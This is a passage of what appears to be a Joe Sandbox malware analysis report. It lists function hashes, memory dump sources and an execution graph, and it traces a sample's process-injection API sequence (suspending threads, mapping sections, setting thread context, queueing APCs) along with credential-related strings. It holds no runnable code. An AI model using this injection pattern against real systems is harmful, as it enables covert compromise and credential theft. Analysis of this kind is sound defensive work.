                                                                                                                                                                                    • Instruction Fuzzy Hash: 5B31D131614A0D8BCB05EFA8D8847EDBBE0FB58304F40462ED65ED7240DF748A45C789
                                                                                                                                                                                    Function 0E6F38BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                    • API String ID: 0-319646191
                                                                                                                                                                                    • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                    • Instruction ID: b28051f988ccabe9cb6a82317908e221ce5c878e0253e1db68fab99b5bb4a4f4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4021C170610A0D8ACB05EFA8D8847EDBBE4FF58304F40462ED65AD7340EF748A45C789
                                                                                                                                                                                    Function 0E6F4E94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .$l$l$t
                                                                                                                                                                                    • API String ID: 0-168566397
                                                                                                                                                                                    • Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                    • Instruction ID: b0f2b92139a1cfd7f117f8a3d2dde1065f3bcf86018d8dd6e0007bd7daa94db1
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
                                                                                                                                                                                    • Instruction Fuzzy Hash: 92215A70A24A0D9BDB08EFA8E0447EEBBF1FB58304F504A2ED51DD3600DB7999518B88
                                                                                                                                                                                    Function 0E6F4E92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .$l$l$t
                                                                                                                                                                                    • API String ID: 0-168566397
                                                                                                                                                                                    • Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                    • Instruction ID: 8cf93f5a0fc55526a04dc5c46b836ec48699dd03fc442f7c6a11f0651af8a839
                                                                                                                                                                                    • Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1D214B70A24A0D9BDB48EFA8E0447AEBBF1FB58304F504A2ED51DD3610DB7599518B88
                                                                                                                                                                                    Function 0E6F4FF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: auth$logi$pass$user
                                                                                                                                                                                    • API String ID: 0-2393853802
                                                                                                                                                                                    • Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                    • Instruction ID: 1e5dc155902e98e662dedfd09e54136da42860ae3c8b396f554ffad8a87f504d
                                                                                                                                                                                    • Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
                                                                                                                                                                                    • Instruction Fuzzy Hash: BF21AC30624B0D8BCB05DF9DA8906AEB7E2EF88344F044A19E40AEB345D7B1DD548BC6

                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                    Execution Coverage:1.7%
                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:6.8%
                                                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                                                    Total number of Nodes:622
                                                                                                                                                                                    Total number of Limit Nodes:74
                                                                                                                                                                                    execution_graph 105811 4812ad0 LdrInitializeThunk 105814 5cf0fd 105817 5cb9a0 105814->105817 105818 5cb9c6 105817->105818 105825 5b9d40 105818->105825 105820 5cb9d2 105821 5cb9f6 105820->105821 105833 5b8f30 105820->105833 105871 5ca680 105821->105871 105874 5b9c90 105825->105874 105827 5b9d4d 105828 5b9d54 105827->105828 105886 5b9c30 105827->105886 105828->105820 105834 5b8f57 105833->105834 106303 5bb1c0 105834->106303 105836 5b8f69 106307 5baf10 105836->106307 105838 5b8f86 105845 5b8f8d 105838->105845 106378 5bae40 LdrLoadDll 105838->106378 105840 5b90f2 105840->105821 105842 5b8ffc 106323 5bf410 105842->106323 105844 5b9006 105844->105840 105846 5cbf60 2 API calls 105844->105846 105845->105840 106311 5bf380 105845->106311 105847 5b902a 105846->105847 105848 5cbf60 2 API calls 105847->105848 105849 5b903b 105848->105849 105850 5cbf60 2 API calls 105849->105850 105851 5b904c 105850->105851 106335 5bca90 105851->106335 105853 5b9059 105854 5c4a50 8 API calls 105853->105854 105855 5b9066 105854->105855 105856 5c4a50 8 API calls 105855->105856 105857 5b9077 105856->105857 105858 5b90a5 105857->105858 105859 5b9084 105857->105859 105860 5c4a50 8 API calls 105858->105860 106345 5bd620 105859->106345 105867 5b90c1 105860->105867 105863 5b90e9 105865 5b8d00 23 API calls 105863->105865 105865->105840 105866 5b9092 106361 5b8d00 105866->106361 105867->105863 106379 5bd6c0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 105867->106379 105872 5caf30 LdrLoadDll 105871->105872 105873 5ca69f 105872->105873 105905 5c8b90 105874->105905 105878 5b9cb6 105878->105827 105879 5b9cac 105879->105878 105912 5cb280 105879->105912 105881 5b9cf3 105881->105878 105923 5b9ab0 105881->105923 105883 5b9d13 105929 5b9620 LdrLoadDll 105883->105929 105885 5b9d25 105885->105827 106278 5cb570 105886->106278 105889 5cb570 LdrLoadDll 105890 5b9c5b 105889->105890 105891 5cb570 LdrLoadDll 105890->105891 105892 5b9c71 105891->105892 105893 5bf180 105892->105893 105894 5bf199 105893->105894 106286 5bb040 105894->106286 105896 5bf1ac 105899 5bf1bb 105896->105899 106298 5ca1b0 105896->106298 105898 5b9d65 105898->105820 105899->105898 106290 5ca7a0 105899->106290 105901 5bf1d2 105902 5bf1fd 105901->105902 106293 5ca230 105901->106293 105903 5ca460 2 API calls 105902->105903 105903->105898 105906 5c8b9f 105905->105906 105930 5c4e50 105906->105930 105908 5b9ca3 105909 5c8a40 105908->105909 105936 5ca5d0 105909->105936 105913 5cb299 105912->105913 105943 5c4a50 105913->105943 105915 5cb2b1 105916 5cb2ba 105915->105916 105982 5cb0c0 105915->105982 105916->105881 105918 5cb2ce 105918->105916 106000 5c9ed0 105918->106000 106256 5b7ea0 105923->106256 105925 5b9ad1 105925->105883 105926 5b9aca 105926->105925 106269 5b8160 105926->106269 105929->105885 105931 5c4e6a 105930->105931 105933 5c4e5e 105930->105933 105931->105908 105933->105931 105935 5c52d0 LdrLoadDll 105933->105935 105934 5c4fbc 105934->105908 105935->105934 105939 5caf30 105936->105939 105938 5c8a55 105938->105879 105940 5caf40 105939->105940 105942 5caf62 105939->105942 105941 5c4e50 LdrLoadDll 105940->105941 105941->105942 105942->105938 105944 5c4d85 105943->105944 105953 5c4a64 105943->105953 105944->105915 105947 5c4b90 106011 5ca330 105947->106011 105948 5c4b73 106068 5ca430 LdrLoadDll 105948->106068 105951 5c4b7d 105951->105915 105952 5c4bb7 105954 5cbd90 2 API calls 105952->105954 105953->105944 106008 5c9c20 105953->106008 105955 5c4bc3 105954->105955 105955->105951 105956 5c4d49 105955->105956 105958 5c4d5f 105955->105958 105962 5c4c52 105955->105962 105957 5ca460 2 API calls 105956->105957 105959 5c4d50 105957->105959 106077 5c4790 LdrLoadDll NtReadFile NtClose 105958->106077 105959->105915 105961 5c4d72 105961->105915 105963 5c4cb9 105962->105963 105965 5c4c61 105962->105965 105963->105956 105964 5c4ccc 105963->105964 106070 5ca2b0 105964->106070 105967 5c4c7a 105965->105967 105968 5c4c66 105965->105968 105969 5c4c7f 105967->105969 105970 5c4c97 105967->105970 106069 5c4650 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 105968->106069 106014 5c46f0 105969->106014 105970->105959 106026 5c4410 105970->106026 105975 5c4c70 105975->105915 105976 5c4c8d 105976->105915 105978 5c4d2c 106074 5ca460 105978->106074 105979 5c4caf 105979->105915 105981 5c4d38 105981->105915 105983 5cb0d1 105982->105983 105984 5cb0e3 105983->105984 106095 5cbd10 105983->106095 105984->105918 105986 5cb104 106098 5c4070 105986->106098 105988 5cb150 105988->105918 105989 5cb127 105989->105988 105990 5c4070 3 API calls 105989->105990 105993 5cb149 105990->105993 105992 5cb1da 105994 5cb1ea 105992->105994 106224 5caed0 LdrLoadDll 105992->106224 105993->105988 106130 5c5390 105993->106130 106140 5cad40 105994->106140 105997 5cb218 106219 5c9e90 105997->106219 106001 5caf30 LdrLoadDll 106000->106001 106002 5c9eec 106001->106002 106250 4812c0a 106002->106250 106003 5c9f07 106005 5cbd90 106003->106005 106253 5ca640 106005->106253 106007 5cb329 106007->105881 106009 5caf30 LdrLoadDll 106008->106009 106010 5c4b44 106009->106010 106010->105947 106010->105948 106010->105951 106012 5ca34c NtCreateFile 106011->106012 106013 5caf30 LdrLoadDll 106011->106013 106012->105952 106013->106012 106015 5c470c 106014->106015 106016 5ca2b0 LdrLoadDll 106015->106016 106017 5c472d 106016->106017 106018 5c4748 106017->106018 106019 5c4734 106017->106019 106021 5ca460 2 API calls 106018->106021 106020 5ca460 2 API calls 106019->106020 106022 5c473d 106020->106022 106023 5c4751 106021->106023 106022->105976 106078 5cbfa0 LdrLoadDll RtlAllocateHeap 106023->106078 106025 5c475c 106025->105976 106027 5c448e 106026->106027 106028 5c445b 106026->106028 106029 5c45d9 106027->106029 106034 5c44aa 106027->106034 106030 5ca2b0 LdrLoadDll 106028->106030 106031 5ca2b0 LdrLoadDll 106029->106031 106032 5c4476 106030->106032 106038 5c45f4 106031->106038 106033 5ca460 2 API calls 106032->106033 106035 5c447f 106033->106035 106036 5ca2b0 LdrLoadDll 106034->106036 106035->105979 106037 5c44c5 106036->106037 106040 5c44cc 106037->106040 106041 5c44e1 106037->106041 106091 5ca2f0 LdrLoadDll 106038->106091 106043 5ca460 2 API calls 106040->106043 106044 5c44fc 106041->106044 106045 5c44e6 106041->106045 106042 5c462e 106046 5ca460 2 API calls 106042->106046 106047 5c44d5 106043->106047 106051 5c4501 106044->106051 106079 5cbf60 106044->106079 106048 5ca460 2 API calls 106045->106048 106049 5c4639 106046->106049 106047->105979 106050 5c44ef 106048->106050 106049->105979 106050->105979 106055 5c4513 106051->106055 106082 5ca3e0 106051->106082 106054 5c4567 106056 5c457e 106054->106056 106090 5ca270 LdrLoadDll 106054->106090 106055->105979 106057 5c459a 106056->106057 106058 5c4585 106056->106058 106061 5ca460 2 API calls 106057->106061 106060 5ca460 2 API calls 106058->106060 106060->106055 106062 5c45a3 106061->106062 106063 5c45cf 106062->106063 106085 5cbb60 106062->106085 106063->105979 106065 5c45ba 106066 5cbd90 2 API calls 106065->106066 106067 5c45c3 106066->106067 106067->105979 106068->105951 106069->105975 106071 5caf30 LdrLoadDll 106070->106071 106072 5c4d14 106071->106072 106073 5ca2f0 LdrLoadDll 106072->106073 106073->105978 106075 5ca47c NtClose 106074->106075 106076 5caf30 LdrLoadDll 106074->106076 106075->105981 106076->106075 106077->105961 106078->106025 106092 5ca600 106079->106092 106081 5cbf78 106081->106051 106083 5ca3fc NtReadFile 106082->106083 106084 5caf30 LdrLoadDll 106082->106084 106083->106054 106084->106083 106086 5cbb6d 106085->106086 106087 5cbb84 106085->106087 106086->106087 106088 5cbf60 2 API calls 106086->106088 106087->106065 106089 5cbb9b 106088->106089 106089->106065 106090->106056 106091->106042 106093 5caf30 LdrLoadDll 106092->106093 106094 5ca61c RtlAllocateHeap 106093->106094 106094->106081 106225 5ca510 106095->106225 106097 5cbd3d 106097->105986 106099 5c4081 106098->106099 106100 5c4089 106098->106100 106099->105989 106129 5c435c 106100->106129 106228 5ccf00 106100->106228 106102 5c40dd 106103 5ccf00 2 API calls 106102->106103 106106 5c40e8 106103->106106 106104 5c4136 106107 5ccf00 2 API calls 106104->106107 106106->106104 106236 5ccfa0 LdrLoadDll RtlAllocateHeap RtlFreeHeap 106106->106236 106237 5cd030 106106->106237 106110 5c414a 106107->106110 106109 5c41a7 106111 5ccf00 2 API calls 106109->106111 106110->106109 106112 5cd030 3 API calls 106110->106112 106113 5c41bd 106111->106113 106112->106110 106114 5c41fa 106113->106114 106117 5cd030 3 API calls 106113->106117 106115 5ccf00 2 API calls 106114->106115 106116 5c4205 106115->106116 106118 5cd030 3 API calls 106116->106118 106124 5c423f 106116->106124 106117->106113 106118->106116 106121 5ccf60 2 API calls 106122 5c433e 106121->106122 106123 5ccf60 2 API calls 106122->106123 106125 5c4348 106123->106125 106233 5ccf60 106124->106233 106126 5ccf60 2 API calls 106125->106126 106127 5c4352 106126->106127 106128 5ccf60 2 API calls 106127->106128 106128->106129 106129->105989 106131 5c53a1 106130->106131 106132 5c4a50 8 API calls 106131->106132 106134 5c53b7 106132->106134 106133 5c540a 106133->105992 106134->106133 106135 5c5405 106134->106135 106136 5c53f2 106134->106136 106138 5cbd90 2 API calls 106135->106138 106137 5cbd90 2 API calls 106136->106137 106139 5c53f7 106137->106139 106138->106133 106139->105992 106243 5cac00 106140->106243 106143 5cac00 LdrLoadDll 106144 5cad5d 106143->106144 106145 5cac00 LdrLoadDll 106144->106145 106146 5cad66 106145->106146 106147 5cac00 LdrLoadDll 106146->106147 106148 5cad6f 106147->106148 106149 5cac00 LdrLoadDll 106148->106149 106150 5cad78 106149->106150 106151 5cac00 LdrLoadDll 106150->106151 106152 5cad81 106151->106152 106153 5cac00 LdrLoadDll 106152->106153 106154 5cad8d 106153->106154 106155 5cac00 LdrLoadDll 106154->106155 106156 5cad96 106155->106156 106157 5cac00 LdrLoadDll 106156->106157 106158 5cad9f 106157->106158 106159 5cac00 LdrLoadDll 106158->106159 106160 5cada8 106159->106160 106161 5cac00 LdrLoadDll 106160->106161 106162 5cadb1 106161->106162 106163 5cac00 LdrLoadDll 106162->106163 106164 5cadba 106163->106164 106165 5cac00 LdrLoadDll 106164->106165 106166 5cadc6 106165->106166 106167 5cac00 LdrLoadDll 106166->106167 106168 5cadcf 106167->106168 106169 5cac00 LdrLoadDll 106168->106169 106170 5cadd8 106169->106170 106171 5cac00 LdrLoadDll 106170->106171 106172 5cade1 106171->106172 106173 5cac00 LdrLoadDll 106172->106173 106174 5cadea 106173->106174 106175 5cac00 LdrLoadDll 106174->106175 106176 5cadf3 106175->106176 106177 5cac00 LdrLoadDll 106176->106177 106178 5cadff 106177->106178 106179 5cac00 LdrLoadDll 106178->106179 106180 5cae08 106179->106180 106181 5cac00 LdrLoadDll 106180->106181 106182 5cae11 106181->106182 106183 5cac00 LdrLoadDll 106182->106183 106184 5cae1a 106183->106184 106185 5cac00 LdrLoadDll 106184->106185 106186 5cae23 106185->106186 106187 5cac00 LdrLoadDll 106186->106187 106188 5cae2c 106187->106188 106189 5cac00 LdrLoadDll 106188->106189 106190 5cae38 106189->106190 106191 5cac00 LdrLoadDll 106190->106191 106192 5cae41 106191->106192 106193 5cac00 LdrLoadDll 106192->106193 106194 5cae4a 106193->106194 106195 5cac00 LdrLoadDll 106194->106195 106196 5cae53 106195->106196 106197 5cac00 LdrLoadDll 106196->106197 106198 5cae5c 106197->106198 106199 5cac00 LdrLoadDll 106198->106199 106200 5cae65 106199->106200 106201 5cac00 LdrLoadDll 106200->106201 106202 5cae71 106201->106202 106203 5cac00 LdrLoadDll 106202->106203 106204 5cae7a 106203->106204 106205 5cac00 LdrLoadDll 106204->106205 106206 5cae83 106205->106206 106207 5cac00 LdrLoadDll 106206->106207 106208 5cae8c 106207->106208 106209 5cac00 LdrLoadDll 106208->106209 106210 5cae95 106209->106210 106211 5cac00 LdrLoadDll 106210->106211 106212 5cae9e 106211->106212 106213 5cac00 LdrLoadDll 106212->106213 106214 5caeaa 106213->106214 106215 5cac00 LdrLoadDll 106214->106215 106216 5caeb3 106215->106216 106217 5cac00 LdrLoadDll 106216->106217 106218 5caebc 106217->106218 106218->105997 106220 5caf30 LdrLoadDll 106219->106220 106221 5c9eac 106220->106221 106249 4812df0 LdrInitializeThunk 106221->106249 106222 5c9ec3 106222->105918 106224->105994 106226 5caf30 LdrLoadDll 106225->106226 106227 5ca52c NtAllocateVirtualMemory 106226->106227 106227->106097 106229 5ccf16 106228->106229 106230 5ccf10 106228->106230 106231 5cbf60 2 API calls 106229->106231 106230->106102 106232 5ccf3c 106231->106232 106232->106102 106234 5c4334 106233->106234 106235 5cbd90 2 API calls 106233->106235 106234->106121 106235->106234 106236->106106 106238 5ccfa0 106237->106238 106239 5cbf60 2 API calls 106238->106239 106241 5ccffd 106238->106241 106240 5ccfda 106239->106240 106242 5cbd90 2 API calls 106240->106242 106241->106106 106242->106241 106244 5cac1b 106243->106244 106245 5c4e50 LdrLoadDll 106244->106245 106246 5cac3b 106245->106246 106247 5c4e50 LdrLoadDll 106246->106247 106248 5cace7 106246->106248 106247->106248 106248->106143 106249->106222 106251 4812c11 106250->106251 106252 4812c1f LdrInitializeThunk 106250->106252 106251->106003 106252->106003 106254 5caf30 LdrLoadDll 106253->106254 106255 5ca65c RtlFreeHeap 106254->106255 106255->106007 106257 5b7eab 106256->106257 106258 5b7eb0 106256->106258 106257->105926 106259 5cbd10 2 API calls 106258->106259 106262 5b7ed5 106259->106262 106260 5b7f38 106260->105926 106261 5c9e90 2 API calls 106261->106262 106262->106260 106262->106261 106263 5b7f3e 106262->106263 106267 5cbd10 2 API calls 106262->106267 106272 5ca590 106262->106272 106265 5b7f64 106263->106265 106266 5ca590 2 API calls 106263->106266 106265->105926 106268 5b7f55 106266->106268 106267->106262 106268->105926 106270 5b817e 106269->106270 106271 5ca590 2 API calls 106269->106271 106270->105883 106271->106270 106273 5caf30 LdrLoadDll 106272->106273 106274 5ca5ac 106273->106274 106277 4812c70 LdrInitializeThunk 106274->106277 106275 5ca5c3 106275->106262 106277->106275 106279 5cb593 106278->106279 106282 5bacf0 106279->106282 106283 5bad14 106282->106283 106284 5b9c4a 106283->106284 106285 5bad5d LdrLoadDll 106283->106285 106284->105889 106285->106284 106287 5bb063 106286->106287 106289 5bb0e0 106287->106289 106301 5c9c60 LdrLoadDll 106287->106301 106289->105896 106291 5caf30 LdrLoadDll 106290->106291 106292 5ca7bf LookupPrivilegeValueW 106291->106292 106292->105901 106294 5caf30 LdrLoadDll 106293->106294 106295 5ca24c 106294->106295 106302 4812ea0 LdrInitializeThunk 106295->106302 106296 5ca26b 106296->105902 106299 5caf30 LdrLoadDll 106298->106299 106300 5ca1cc 106299->106300 106300->105899 106301->106289 106302->106296 106304 5bb1f0 106303->106304 106305 5bb040 LdrLoadDll 106304->106305 106306 5bb204 106305->106306 106306->105836 106308 5baf34 106307->106308 106380 5c9c60 LdrLoadDll 106308->106380 106310 5baf6e 106310->105838 106312 5bf3ac 106311->106312 106313 5bb1c0 LdrLoadDll 106312->106313 106314 5bf3be 106313->106314 106381 5bf290 106314->106381 106317 5bf3d9 106320 5bf3e4 106317->106320 106321 5ca460 2 API calls 106317->106321 106318 5bf3f1 106319 5bf402 106318->106319 106322 5ca460 2 API calls 106318->106322 106319->105842 106320->105842 106321->106320 106322->106319 106324 5bf43c 106323->106324 106400 5bb2b0 106324->106400 106326 5bf44e 106327 5bf290 3 API calls 106326->106327 106328 5bf45f 106327->106328 106329 5bf469 106328->106329 106330 5bf481 106328->106330 106331 5bf474 106329->106331 106333 5ca460 2 API calls 106329->106333 106332 5bf492 106330->106332 106334 5ca460 2 API calls 106330->106334 106331->105844 106332->105844 106333->106331 106334->106332 106336 5bcaa6 106335->106336 106337 5bcab0 106335->106337 106336->105853 106338 5baf10 LdrLoadDll 106337->106338 106339 5bcb4e 106338->106339 106340 5bcb74 106339->106340 106341 5bb040 LdrLoadDll 106339->106341 106340->105853 106342 5bcb90 106341->106342 106343 5c4a50 8 API calls 106342->106343 106344 5bcbe5 106343->106344 106344->105853 106346 5bd646 106345->106346 106347 5bb040 LdrLoadDll 106346->106347 106348 5bd65a 106347->106348 106404 5bd310 106348->106404 106350 5b908b 106351 5bcc00 106350->106351 106352 5bcc26 106351->106352 106353 5bb040 LdrLoadDll 106352->106353 106354 5bcca9 106352->106354 106353->106354 106355 5bb040 LdrLoadDll 106354->106355 106356 5bcd16 106355->106356 106357 5baf10 LdrLoadDll 106356->106357 106358 5bcd7f 106357->106358 106359 5bb040 LdrLoadDll 106358->106359 106360 5bce2f 106359->106360 106360->105866 106433 5bf6d0 106361->106433 106363 5b8f25 106363->105821 106364 5b8d14 106364->106363 106438 5c43a0 106364->106438 106366 5b8d70 106366->106363 106441 5b8ab0 106366->106441 106369 5ccf00 2 API calls 106370 5b8db2 106369->106370 106371 5cd030 3 API calls 106370->106371 106375 5b8dc7 106371->106375 106372 5b7ea0 4 API calls 106372->106375 106375->106363 106375->106372 106376 5bc7b0 18 API calls 106375->106376 106377 5b8160 2 API calls 106375->106377 106446 5bf670 106375->106446 106450 5bf080 21 API calls 106375->106450 106376->106375 106377->106375 106378->105845 106379->105863 106380->106310 106382 5bf2aa 106381->106382 106390 5bf360 106381->106390 106383 5bb040 LdrLoadDll 106382->106383 106384 5bf2cc 106383->106384 106391 5c9f10 106384->106391 106386 5bf30e 106394 5c9f50 106386->106394 106389 5ca460 2 API calls 106389->106390 106390->106317 106390->106318 106392 5caf30 LdrLoadDll 106391->106392 106393 5c9f2c 106392->106393 106393->106386 106395 5caf30 LdrLoadDll 106394->106395 106396 5c9f6c 106395->106396 106399 48135c0 LdrInitializeThunk 106396->106399 106397 5bf354 106397->106389 106399->106397 106401 5bb2d7 106400->106401 106402 5bb040 LdrLoadDll 106401->106402 106403 5bb313 106402->106403 106403->106326 106405 5bd327 106404->106405 106413 5bf710 106405->106413 106409 5bd39b 106410 5bd3a2 106409->106410 106424 5ca270 LdrLoadDll 106409->106424 106410->106350 106412 5bd3b5 106412->106350 106414 5bf735 106413->106414 106425 5b81a0 106414->106425 106416 5bf759 106417 5bd36f 106416->106417 106418 5c4a50 8 API calls 106416->106418 106420 5cbd90 2 API calls 106416->106420 106432 5bf550 LdrLoadDll CreateProcessInternalW LdrInitializeThunk 106416->106432 106421 5ca6b0 106417->106421 106418->106416 106420->106416 106422 5caf30 LdrLoadDll 106421->106422 106423 5ca6cf CreateProcessInternalW 106422->106423 106423->106409 106424->106412 106426 5b829f 106425->106426 106427 5b81b5 106425->106427 106426->106416 106427->106426 106428 5c4a50 8 API calls 106427->106428 106429 5b8222 106428->106429 106430 5cbd90 2 API calls 106429->106430 106431 5b8249 106429->106431 106430->106431 106431->106416 106432->106416 106434 5c4e50 LdrLoadDll 106433->106434 106435 5bf6ef 106434->106435 106436 5bf6fd 106435->106436 106437 5bf6f6 SetErrorMode 106435->106437 106436->106364 106437->106436 106440 5c43c6 106438->106440 106451 5bf4a0 106438->106451 106440->106366 106442 5cbd10 2 API calls 106441->106442 106445 5b8ad5 106442->106445 106443 5b8cea 106443->106369 106445->106443 106471 5c9850 106445->106471 106447 5bf683 106446->106447 106519 5c9e60 106447->106519 106450->106375 106452 5bf4bd 106451->106452 106458 5c9f90 106452->106458 106455 5bf505 106455->106440 106459 5c9fa6 106458->106459 106460 5caf30 LdrLoadDll 106459->106460 106461 5c9fac 106460->106461 106469 4812f30 LdrInitializeThunk 106461->106469 106462 5bf4fe 106462->106455 106464 5c9fe0 106462->106464 106465 5c9ffc 106464->106465 106466 5caf30 LdrLoadDll 106464->106466 106470 4812d10 LdrInitializeThunk 106465->106470 106466->106465 106467 5bf52e 106467->106440 106469->106462 106470->106467 106472 5cbf60 2 API calls 106471->106472 106473 5c9867 106472->106473 106492 5b9310 106473->106492 106475 5c9882 106476 5c98a9 106475->106476 106477 5c98c0 106475->106477 106478 5cbd90 2 API calls 106476->106478 106479 5cbd10 2 API calls 106477->106479 106480 5c98b6 106478->106480 106481 5c98fa 106479->106481 106480->106443 106482 5cbd10 2 API calls 106481->106482 106483 5c9913 106482->106483 106488 5c9bb4 106483->106488 106498 5cbd50 LdrLoadDll 106483->106498 106485 5c9b99 106486 5c9ba0 106485->106486 106485->106488 106487 5cbd90 2 API calls 106486->106487 106489 5c9baa 106487->106489 106490 5cbd90 2 API calls 106488->106490 106489->106443 106491 5c9c09 106490->106491 106491->106443 106493 5b9335 106492->106493 106494 5bacf0 LdrLoadDll 106493->106494 106495 5b9368 106494->106495 106497 5b938d 106495->106497 106499 5bcf20 106495->106499 106497->106475 106498->106485 106500 5bcf4c 106499->106500 106501 5ca1b0 LdrLoadDll 106500->106501 106502 5bcf65 106501->106502 106503 5bcf6c 106502->106503 106510 5ca1f0 106502->106510 106503->106497 106507 5bcfa7 106508 5ca460 2 API calls 106507->106508 106509 5bcfca 106508->106509 106509->106497 106511 5caf30 LdrLoadDll 106510->106511 106512 5ca20c 106511->106512 106518 4812ca0 LdrInitializeThunk 106512->106518 106513 5bcf8f 106513->106503 106515 5ca7e0 106513->106515 106516 5ca7ff 106515->106516 106517 5caf30 LdrLoadDll 106515->106517 106516->106507 106517->106516 106518->106513 106520 5c9e7c 106519->106520 106521 5caf30 LdrLoadDll 106519->106521 106524 4812dd0 LdrInitializeThunk 106520->106524 106521->106520 106522 5bf6ae 106522->106375 106524->106522 106526 5c9050 106527 5cbd10 2 API calls 106526->106527 106529 5c908b 106527->106529 106528 5c916c 106529->106528 106530 5bacf0 LdrLoadDll 106529->106530 106531 5c90c1 106530->106531 106532 5c4e50 LdrLoadDll 106531->106532 106534 5c90dd 106532->106534 106533 5c90f0 Sleep 106533->106534 106534->106528 106534->106533 106537 5c8c70 LdrLoadDll 106534->106537 106538 5c8e80 LdrLoadDll 106534->106538 106537->106534 106538->106534 106539 469cb84 106542 469a042 106539->106542 106541 469cba5 106544 469a06b 106542->106544 106543 469a56c 106543->106541 106544->106543 106545 469a182 NtQueryInformationProcess 106544->106545 106547 469a1ba 106545->106547 106546 469a1ef 106546->106541 106547->106546 106548 469a2db 106547->106548 106549 469a290 106547->106549 106550 469a2fc NtSuspendThread 106548->106550 106571 4699de2 NtCreateSection NtMapViewOfSection NtClose 106549->106571 106552 469a30d 106550->106552 106554 469a331 106550->106554 106552->106541 106553 469a2cf 106553->106541 106557 469a412 106554->106557 106562 4699bb2 106554->106562 106556 469a531 106559 469a552 NtResumeThread 106556->106559 106557->106556 106558 469a4a6 NtSetContextThread 106557->106558 106561 469a4bd 106558->106561 106559->106543 106560 469a51c NtQueueApcThread 106560->106556 106561->106556 106561->106560 106563 4699bf7 106562->106563 106564 4699c66 NtCreateSection 106563->106564 106565 4699d4e 106564->106565 106566 4699ca0 106564->106566 106565->106557 106567 4699cc1 NtMapViewOfSection 106566->106567 106567->106565 106568 4699d0c 106567->106568 106568->106565 106569 4699d88 106568->106569 106570 4699dc5 NtClose 106569->106570 106570->106557 106571->106553

                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                    Function 0469A036 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 481nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtQueryInformationProcess.NTDLL ref: 0469A19F
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524875716.0000000004690000.00000040.00000800.00020000.00000000.sdmp, Offset: 04690000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_4690000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InformationProcessQuery
                                                                                                                                                                                    • String ID: 0
                                                                                                                                                                                    • API String ID: 1778838933-4108050209
                                                                                                                                                                                    • Opcode ID: 7bc916a415ef614ffafa7f75d0ec115445e44d1b24a8fe03bb76e065ae57333e
                                                                                                                                                                                    • Instruction ID: 1c01008a69cc46147b654056b0efeed8cfb40de00220c6c94ab0af7974f965ee
